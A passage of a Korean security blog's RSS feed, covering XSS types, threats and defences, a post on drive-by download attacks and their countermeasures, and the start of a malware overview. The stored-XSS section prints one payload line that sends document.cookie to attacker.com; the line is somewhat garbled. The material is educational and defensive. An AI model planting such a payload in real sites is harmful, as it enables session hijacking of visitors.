&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 브라우저가 해시값을 파싱해 그대로 DOM에 삽입하면서 스크립트가 실행&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버는 모른다.&lt;/li&gt;
&lt;li&gt;클라이언트 스크립트 로직이 취약&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;4. XSS 공격의 결과 및 위협&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;XSS 공격이 성공하면 공격자는 다음을 할 수 있습니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;쿠키/세션 탈취&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(ex: 세션 하이재킹)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용자 계정 탈취&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(ex: 자동 로그인 세션 탈취)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;피싱 페이지 생성&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(ex: 로그인 페이지 위조)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;웹사이트 조작&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(ex: 화면 변조, 악성광고 삽입)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;키 입력 기록&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(ex: 키로거 기능 삽입)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;브라우저 취약점 공격&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(ex: RCE로 이어질 수 있음)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;5. XSS 방어 방법&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;XSS를 막기 위해서는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;다층 방어&lt;/b&gt;(Defense-in-Depth)가 필요합니다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;(1) 입력 검증 (Input Validation)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자 입력에서 스크립트 코드 삽입을 차단&lt;/li&gt;
&lt;li&gt;허용된 값(화이트리스트)만 받기&lt;/li&gt;
&lt;li&gt;입력단에서 HTML, JavaScript 예약어 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;(2) 출력 인코딩 (Output Encoding)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTML 페이지에 출력하기 전에, 입력값을 HTML 엔티티로 변환
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;예:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;lt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;amp;lt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특히&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;위치에 따라 맞는 인코딩을 해야 한다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTML 본문 &amp;rarr; HTML Encoding&lt;/li&gt;
&lt;li&gt;JavaScript 코드 안 &amp;rarr; JavaScript Encoding&lt;/li&gt;
&lt;li&gt;URL 안 &amp;rarr; URL Encoding&lt;/li&gt;
&lt;li&gt;CSS 안 &amp;rarr; CSS Encoding&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;(3) Content Security Policy (CSP) 설정&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;script-src&lt;span&gt;&amp;nbsp;&lt;/span&gt;등으로 스크립트 실행을 강하게 제어&lt;/li&gt;
&lt;li&gt;인라인 스크립트나 외부 스크립트 로딩을 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;csp&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;Content-Security-Policy: default-src 'self'; script-src 'self'
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;(4) HTTPOnly 속성으로 쿠키 보호&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;쿠키를 JavaScript에서 접근하지 못하도록 설정&lt;/li&gt;
&lt;li&gt;세션 쿠키 탈취 리스크 감소&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;gams&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;Set-Cookie: sessionId=abc123; HttpOnly; Secure
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;(5) 프레임워크 보안 기능 활용&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;React, Angular, Vue.js 등은 자동으로 output escaping을 지원&lt;/li&gt;
&lt;li&gt;개발자가 직접 태그를 삽입하지 않는 한 안전&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;6. Stored-XSS 공격 예시&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 공격자&lt;/b&gt;가 게시판에 다음과 같은 글을 작성합니다.&lt;/p&gt;
&lt;pre class=&quot;stylus&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;fetch('&amp;lt;a href=http://attacker.com/steal?cookie='+document.cookie)&amp;gt;http://attacker.com/steal?cookie='+document.cookie)&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 다른 사용자가 게시판을 열람&lt;/b&gt;하면, 이 스크립트가 브라우저에서 실행됩니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 피해자의 쿠키 정보&lt;/b&gt;가&lt;span&gt;&amp;nbsp;&lt;/span&gt;attacker.com&lt;span&gt;&amp;nbsp;&lt;/span&gt;서버로 전송됩니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;4. 공격자는 피해자 쿠키를 통해 세션을 탈취할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>crosssitescript</category>
      <category>XSS</category>
      <category>크로스사이트스크립트</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/19</guid>
      <comments>https://defcon.tistory.com/19#entry19comment</comments>
      <pubDate>Mon, 28 Apr 2025 19:30:01 +0900</pubDate>
    </item>
    <item>
      <title>드라이브 바이 다운로드(Drive-by Download) 개념</title>
      <link>https://defcon.tistory.com/20</link>
      <description>&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;개념&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;사용자가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;웹사이트를 방문하기만 해도&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;또는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;의심 없이 클릭만 해도&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;악성코드(malware)가 자동으로 다운로드되거나 실행&lt;/b&gt;&lt;span&gt;되는 공격 방법입니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;사용자에게 명시적으로 다운로드나 설치 동의를 묻지 않습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote style=&quot;color: #0e0e0e; text-align: start;&quot; data-ke-style=&quot;style1&quot;&gt;&amp;ldquo;운전하면서 지나가듯 웹사이트를 방문하는 것만으로도 감염된다&amp;rdquo; &amp;rarr; 이게 &amp;lsquo;drive-by&amp;rsquo;의 어원입니다.&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;어떻게 동작하는가? (공격 흐름)&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;악성 웹사이트 세팅&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자는 취약한 웹사이트를 해킹하거나, 자체적으로 악성 웹사이트를 만듭니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;악성 코드 삽입&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;웹페이지 안에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;악성 스크립트(주로 JavaScript)&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;를 심어놓습니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;또는 광고 네트워크(Ad network)를 통해 악성 광고(Malvertising)를 삽입합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용자 방문&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;피해자는 아무것도 모른 채 정상 웹사이트를 방문했다가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;광고 또는 iframe&lt;/b&gt;&lt;/span&gt;을 통해 악성 코드에 노출됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;취약점 스캔 및 악성코드 배포&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자의 브라우저, 플러그인(Flash, Java, ActiveX), PDF 뷰어, OS의 취약점을 스캔합니다.&lt;/li&gt;
&lt;li&gt;취약점이 발견되면 악성코드를 자동으로 다운로드 및 실행시킵니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자 기기는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;랜섬웨어, 키로거, 백도어&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등의 악성코드에 감염될 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Drive-by Download의 유형&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 44px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;유형&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;Automatic (자동)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;사용자가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;아무것도 클릭하지 않아도&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;백그라운드에서 악성코드가 설치&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;User-initiated (사용자 유도)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&amp;ldquo;다운로드&amp;rdquo;나 &amp;ldquo;업데이트&amp;rdquo; 같은 메시지를 속여 클릭을 유도하여 악성 파일을 설치하게 함&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;최근에는 Automatic 형태로 공격이 이루어집니다.&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Drive-by Download가 가능한 취약점 예시&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;브라우저 취약점 (예: Chrome, Safari, Edge의 Zero-day)&lt;/li&gt;
&lt;li&gt;플래시 플레이어(Flash Player) 취약점&lt;/li&gt;
&lt;li&gt;자바(Java Applet) 취약점&lt;/li&gt;
&lt;li&gt;PDF 리더기(Adobe Reader) 취약점&lt;/li&gt;
&lt;li&gt;ActiveX 컨트롤 취약점&lt;/li&gt;
&lt;li&gt;OS 자체 취약점&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;특히 업데이트가 안 된 소프트웨어가 주요 표적입니다.&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Drive-by Download 공격 실제 사례&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Angler Exploit Kit&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(2013~2016)&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자 브라우저를 스캔하고, 취약점이 발견되면 랜섬웨어를 자동 설치.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Neutrino Exploit Kit&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;취약한 Flash Player 플러그인을 이용해 사용자 PC를 감염.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Malvertising&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;유명 언론사 웹사이트의 광고 영역을 통해 악성코드를 배포.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;6.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Drive-by Download 방어 방법&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;방어 방법&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;소프트웨어 업데이트&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;브라우저, 플러그인, OS 모두 항상 최신 버전 유지&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;취약한 플러그인 제거&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;Flash, Java Applet, ActiveX는 아예 비활성화하거나 삭제&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;신뢰할 수 없는 사이트 방문 금지&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;의심스러운 사이트나 링크를 클릭하지 않기&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;광고 차단&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;애드블록(Adblock)을 설치해 Malvertising을 차단&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;브라우저 보안 강화&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;Chrome의 &amp;ldquo;Site Isolation&amp;rdquo; 기능 등 활성화&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;안티바이러스 프로그램 사용&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;Drive-by Download를 탐지하고 차단할 수 있는 솔루션 사용&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;특히 요즘은&amp;nbsp;&amp;ldquo;제로 트러스트(Zero Trust) 모델&amp;rdquo;&amp;nbsp;로 웹 접속 자체를 격리시키는 방법도 사용합니다. (예: Web Isolation)&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;드라이브 바이 다운로드 공격에 대한 최근 트렌드&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. &lt;/b&gt;&lt;b&gt;정교한 사회공학 기법과 사용자 속임수의 진화&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자들은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;가짜 CAPTCHA&lt;/b&gt;&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;Cloudflare Turnstile&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;모방,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;브라우저 알림 허용 요청&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등을 활용하여 사용자를 속이고 악성코드를 설치합니다.&lt;/li&gt;
&lt;li&gt;예를 들어, 사용자가 특정 문서를 검색하면 가짜 CAPTCHA를 통해 악성 웹사이트로 유도되고, 이후 브라우저 알림 허용을 요청하여 악성 확장 프로그램을 설치하게 됩니다.&lt;span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;합법적인 웹사이트와 광고 네트워크의 악용 증가&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자들은 신뢰받는 웹사이트나 광고 네트워크를 침해하여 악성 광고(Malvertising)를 삽입하고, 이를 통해 악성코드를 배포합니다.&lt;/li&gt;
&lt;li&gt;이러한 공격은 사용자가 클릭하지 않아도 웹페이지를 로드하는 것만으로도 감염이 발생할 수 있습니다.&lt;span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;익스플로잇 키트(Exploit Kit)의 지속적인 활용&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;RIG&lt;/b&gt;&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;Fallout&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등의 익스플로잇 키트는 여전히 사용되며, 브라우저나 플러그인의 취약점을 자동으로 탐지하고 악성코드를 설치합니다.&lt;/li&gt;
&lt;li&gt;이러한 키트는 사용자의 시스템을 스캔하여 알려진 취약점을 찾아내고, 이를 통해 악성코드를 배포합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;랜섬웨어와 정보 탈취형 악성코드의 결합&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;드라이브 바이 다운로드는 단순한 악성코드 설치를 넘어,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;랜섬웨어&lt;/b&gt;&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;정보 탈취형 악성코드(Infostealer)&lt;/b&gt;&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;백도어&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등을 설치하여 피해를 확산시킵니다.&lt;/li&gt;
&lt;li&gt;예를 들어,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;SocGholish&lt;/b&gt;&lt;/span&gt;는 가짜 소프트웨어 업데이트를 통해 악성 JavaScript를 실행하고, 이를 통해 다양한 악성코드를 설치합니다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>정보보호</category>
      <category>drivebydownload</category>
      <category>드라이브바이다운로드</category>
      <category>정보보안</category>
      <category>정보보호</category>
      <category>해킹공격기법</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/20</guid>
      <comments>https://defcon.tistory.com/20#entry20comment</comments>
      <pubDate>Mon, 28 Apr 2025 09:11:06 +0900</pubDate>
    </item>
    <item>
      <title>Malware 악성코드에 대한 종류와 개념</title>
      <link>https://defcon.tistory.com/21</link>
      <description>&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;b&gt;&amp;nbsp;Malware(악성코드)의 종류와 개념&lt;/b&gt;&lt;/h1&gt;
